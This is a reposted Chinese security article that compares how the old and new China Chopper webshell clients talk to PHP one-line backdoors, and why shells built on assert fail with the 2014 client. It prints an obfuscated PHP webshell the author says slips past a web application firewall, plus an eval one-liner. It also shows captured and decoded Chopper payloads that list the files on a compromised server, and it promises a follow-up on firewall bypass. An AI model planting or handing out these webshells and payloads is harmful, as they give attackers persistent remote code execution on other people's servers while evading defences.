Crfe php,新版中国菜刀(20141213)一句话不支持php assert分析
前幾天下了新版的菜刀,今天發(fā)現(xiàn)一個php一句話連不上,但是舊版的菜刀可以連,而且新版是可以連接eval的php一句話。當(dāng)時挺好奇,排除了非菜刀造成的可能性,就只能是菜刀更新的問題,所以接下來要做的就是分析新版和老版菜刀,并做對比。
0x01. 抓包分析
對新版菜刀抓包
在遠(yuǎn)程的服務(wù)器上放了一個過某狗的php一句話,文件名為xxoo.php,內(nèi)容如下<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?//?密碼-7
?>
新版菜刀連接后,出現(xiàn)下圖錯誤。
用wireshark抓包,觀察http的request和response
wireshark過濾條件:ip.addr==xx.xx.xx.xx and http,設(shè)置完成后,點擊開始capture。現(xiàn)在回到菜刀,右鍵菜刀的文件管理,出現(xiàn)上圖的錯誤后,即可抓到如下兩個包,一個request,一個response
注意,如果是本地localhost服務(wù)器的話,wireshark不能直接抓包,具體可以百度或者用burp。
菜刀整個post數(shù)據(jù)一共有三個變量
變量一:-7=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval/**/($xx/**/($yy[z0]));
解密后為:@eval/**/(base64_decode/**/($_POST[z0]));還有兩個%01,因為沒有影響就不寫了。
變量二:z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXNfZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs=
通過上面@eval/**/(base64_decode/**/($_POST[z0]));可以知道z0是經(jīng)過base64編碼的,那么解碼后為:@ini_set("display_errors",?"0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo?("->|");;
$D?=?base64_decode(get_magic_quotes_gpc()???stripslashes($_POST["z1"])?:?$_POST["z1"]);
$F?=?@opendir($D);
if?($F?==?NULL)?{
echo?("ERROR://?Path?Not?Found?Or?No?Permission!");
}?else?{
$M?=?NULL;
$L?=?NULL;
while?($N?=?@readdir($F))?{
$P?=?$D?.?"/"?.?$N;
$T?=?@date("Y-m-d?H:i:s",?@filemtime($P));
@$E?=?substr(base_convert(@fileperms($P)?,?10,?8)?,?-4);
$R?=?"\t"?.?$T?.?"\t"?.?@filesize($P)?.?"\t"?.?$E?.?"
";
if?(@is_dir($P))?$M.=?$N?.?"/"?.?$R;
else?$L.=?$N?.?$R;
}
echo?$M?.?$L;
@closedir($F);
};
echo?("|
die();
可以看出z0是遍歷文件的作用。
變量三:
z1=QzpcXHdhbXBcXHd3d1xc
通過變量二可以知道z1也是base64編碼的,那么z1解碼后為C:\\wamp\\www\\,可以看出是z1遍歷文件的文件路徑。
對老版菜刀抓包
同理,
變量一:
-7=@eval(base64_decode($_POST[z0]));
變量二:z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7
base64_decode后為:ini_set("display_errors",?"0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo?("->|");;
$D?=?base64_decode($_POST["z1"]);
$F?=?@opendir($D);
if?($F?==?NULL)?{
echo?("ERROR://?Path?Not?Found?Or?No?Permission!");
}?else?{
$M?=?NULL;
$L?=?NULL;
while?($N?=?@readdir($F))?{
$P?=?$D?.?"/"?.?$N;
$T?=?@date("Y-m-d?H:i:s",?@filemtime($P));
@$E?=?substr(base_convert(@fileperms($P)?,?10,?8)?,?-4);
$R?=?"\t"?.?$T?.?"\t"?.?@filesize($P)?.?"\t"?.?$E?.?"
";
if?(@is_dir($P))?$M.=?$N?.?"/"?.?$R;
else?$L.=?$N?.?$R;
}
echo?$M?.?$L;
@closedir($F);
};
echo?("|
die();
?>
變量三:
z1=QzpcXHdhbXBcXHd3d1xc
0x02. 對比分析
通過第一步的抓包對比分析后,可以發(fā)現(xiàn)只有變量一是造成assert不能使用的元兇,因為其他兩個變量基本是一模一樣。既然eval的一句話可以使用,而assert的一句話不能使用,那應(yīng)該是eval和assert用法不同造成這個問題。
通過文檔可以發(fā)現(xiàn)assert是判斷一條語句是否為FALSE(注意只是一條),而eval是把當(dāng)前字符串作為代碼執(zhí)行(可以是多條)。
證實下:
xxoo.php輸出a,說明只執(zhí)行了第一句
array.php內(nèi)容如下(過某狗)<?php
eval(
$_POST[cmd]
);
?>
輸出ab,說明兩句都執(zhí)行
真想終于浮出水面。由于assert的單個語句限制和新版菜刀第一個變量是多條語句導(dǎo)致assert的一句話新版菜刀不能使用。
0x03. 影響
所有assert的一句話都不能用,但可以使用老版本。
0x04. 總結(jié)
1. 通過這樣分析后,某狗的菜刀攔截就完全可以bypass,下篇文章再說吧。
2.?只分析了php的文件管理部分,其他部分可能也會存在些許的不一樣,沒有遇到,所以沒做分析
?[作者/JoyChou,屬FreeBuf原創(chuàng)獎勵計劃文章,未經(jīng)許可禁止轉(zhuǎn)載]?
總結(jié)
以上是生活随笔為你收集整理的Crfe php,新版中国菜刀(20141213)一句话不支持php assert分析的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java 拼sql最大长度,java.s
- 下一篇: java在dog中定义name变量,组合